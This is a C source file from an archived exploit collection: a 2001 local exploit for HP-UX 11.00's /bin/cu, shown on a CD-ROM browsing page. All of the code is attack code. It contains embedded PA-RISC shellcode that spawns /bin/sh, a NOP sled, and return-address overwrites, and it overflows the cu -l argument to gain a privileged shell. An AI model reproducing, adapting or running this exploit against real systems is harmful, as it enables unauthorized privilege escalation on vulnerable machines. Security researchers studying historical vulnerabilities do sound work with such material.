home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / hpux / local / cu.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  49 lines

  1. /*
  2.  * Copyright (c) 2001 Zorgon                              
  3.  * All Rights Reserved                                    
  4.  * The copyright notice above does not evidence any       
  5.  * actual or intended publication of such source code.    
  6.  * 
  7.  * HP-UX /bin/cu exploit.
  8.  * Tested on HP-UX 11.00 
  9.  * zorgon@antionline.org (http://www.nightbird.free.fr) 
  10.  *
  11.  */
  12.  
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <sys/types.h>
  16. #include <unistd.h>
  17.  
  18. #define LEN 9778 
  19. #define HPPA_NOP 0x0b390280
  20. #define RET 0x7f7eb010
  21. #define OFFSET 1200    /* it works for me */
  22.  
  23. u_char hppa_shellcode[] = /* K2 <ktwo@ktwo.ca> shellcode */
  24. "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
  25. "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
  26. "\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff";
  27.  
  28. int 
  29. main(int argc , char **argv){
  30.   char buffer[LEN+8];
  31.   int i;
  32.   long retaddr = RET;
  33.   int offset = OFFSET;
  34.  
  35.   if(argc>1) offset = atoi(argv[1]);
  36.     for (i=0;i<LEN;i+=4)
  37.       *(long *)&buffer[i] = retaddr + offset; 
  38.  
  39.   for (i=0;i<(LEN-strlen(hppa_shellcode)-50);i++) 
  40.     *(buffer+i) = HPPA_NOP;
  41.  
  42.   memcpy(buffer+i,hppa_shellcode,strlen(hppa_shellcode));
  43.   fprintf(stderr, "HP-UX 11.00 /bin/cu exploit\n");
  44.   fprintf(stderr, "Copyright (c) 2001 Zorgon\n");                              
  45.   fprintf(stderr, "[return address = %x] [offset = %d] [buffer size = %d]\n", retaddr + offset, offset, strlen(buffer));
  46.  
  47.   execl("/bin/cu","cu","-l",buffer,0);
  48. }
  49. /*                   www.hack.co.za  [13 January 2001]*/